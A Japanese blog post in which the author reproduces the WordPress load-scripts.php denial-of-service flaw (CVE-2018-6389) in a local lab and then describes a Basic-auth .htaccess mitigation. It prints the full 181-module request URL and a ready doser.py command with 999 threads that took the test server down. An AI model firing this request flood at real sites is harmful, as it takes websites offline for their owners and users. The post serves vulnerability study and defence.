WordPressのDoS攻撃が可能となる脆弱性(CVE-2018-6389)のPoCを検証する

先日,とある診断員さんのブログにWordPressのDoS攻撃が可能となる脆弱性に関する記事が投稿されていました.WordPressのDoS(CVE-2018-6389)について調べてみた

以前から脆弱性のPoC検証を自分でもやってみたいと思っていましたが,なかなかハードルが高く行っていませんでした.

しかし今回は,自分もお世話になっているWordPressの脆弱性ということと,脆弱性の詳細を調べたときに初めてでもできそうだな~といったハードルの低さからWordPressのDoS攻撃が可能となる脆弱性(CVE-2018-6389)のPoC検証を行ってみたいと思います.

脆弱性の概要

今回PoC検証を行う脆弱性はWordPressのDoS攻撃が可能となる脆弱性(CVE-2018-6389)です.

簡単にまとめてみます.
WordPressにはload-script.phpというファイルが存在し,これはload[]というパラメータを受け取ります.例えば以下のようなURLでリクエストを行った場合,次の画像のような結果が帰ってきます.

https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.4

この場合はリクエストしたJavaScriptモジュールであるjQuery UI Coreがレスポンスとして返ってきます.load[]パラメータは配列となっているため,WordPressのwp-scripts内にハードコーディングされたJavaScriptやCSSのモジュールを一度のリクエスト複数個読み込むことが可能となっています.

load-scripts.phpを利用して読み込むことができるJavaScriptやCSSのモジュールは,予めwp-scripts内に定義されているもののみとなっています.しかしwp-scripts内のリストには181個ものモジュールが定義されており,これらのモジュールを一度にリクエストすることができてしまいます.このリクエストを大量にサーバに対して行った場合サーバが落ちてしまうので,DoS攻撃になるというわけです.

https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9.4

またload-scripts.phpwp-admin以下に存在しているためリクエストを行うために認証が必要に見えますが,認証なしでもリクエストを行うことができます.よって誰でもWordPressで構築されたWebサイトに対してDoS攻撃を行うことが可能となります.

脆弱性のPoC検証

それでは実際にWordPressに対してDoS攻撃を行ってみたいと思います.

利用環境

今回PoC検証を行うために構築した環境は以下のとおりです.もちろんこの検証はローカルネットワーク内で行っています.自分の管理下にないサーバに対しては絶対に行わないようにしてください.

攻撃される側

  • CentOS Linux release 7.4.1708 (Core)
  • WordPress 4.9.4
  • PHP 5.4.16
  • MariaDB 5.5.56

攻撃する側

  • CentOS Linux release 7.4.1708 (Core)

攻撃手法

攻撃方法はいたって簡単で,上述の181個のモジュールを読み込むリクエストを並列に行うだけです.今回はPythonで記述されたHTTPリクエストを行うDoSツールのdoser.pyを用いて行います.
https://github.com/quitten/doser.py

攻撃実行コマンド

$ python doser.py -t 999 -g 'https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9.4'

攻撃コマンド実行後,Webサイトの読み込みに非常に時間がかかるようになり,しばらくすると以下のようにWebサイトにアクセスできなくなってしまいました.

このときサーバのコンソール画面は以下のようになっており,ひたすら処理しきれなくなったプロセスをkillしていました.

対策

この脆弱性の特筆すべき点は,脆弱性を発見したセキュリティ研究者のBarak Tawily氏が開発チームに報告したところ,開発チームはアプリケーションレベルの問題ではなく,サーバやネットワークにおける問題として,脆弱性として認めていないことです.

すなわちWordPressのアップデートで対処ができないため,サーバ管理者が独自に対策を行う必要があります.Barak Tawily氏が独自にパッチをあてたフォークや,脆弱性を緩和するようファイルを変更するシェルスクリプトを公開していますが,今後のアップデートに伴い安定性が失われる可能性があるので現実的ではないようです.

当ブログでは今までwp-login.phpファイルにのみ適応していたBasic認証をwp-adminディレクトリ以下すべてに適応することで対処しています.この時例外としてwp-admin/admin-ajax.phpにはBasic認証をかけないように注意してください.

# vim /var/www/wordpress/wp-admin/.htaccess
# Basic Authentication
<Files ~ "^\.ht">
    Order allow,deny
    Deny from all
    Satisfy all
</Files>
AuthUserFile /var/www/wordpress/wp-admin/.htpasswd
AuthGroupFile /dev/null
AuthName "Please enter your ID and password"
AuthType valid-user
Order deny,allow

<Files admin-ajax.php>
    Satisfy any
    Order allow,deny
    Allow from all
</Files>

これによりload-scripts.phpに対するリクエストをする際にBasic認証が必要となります..htpasswdファイルの作成については割愛します.

おわりに

今回は初めての脆弱性PoC検証ということで,WordPressのDoS攻撃が可能となる脆弱性(CVE-2018-6389)について検証を行いました.初心者にも簡単に再現できてしまう脆弱性のため,攻撃のハードルはかなり低いと感じました.

今後も気になった脆弱性について検証を行っていきたいと思います.

参考文献

https://baraktawily.blogspot.jp/2018/02/how-to-dos-29-of-world-wide-websites.html
http://knqyf263.hatenablog.com/entry/2018/02/07/103705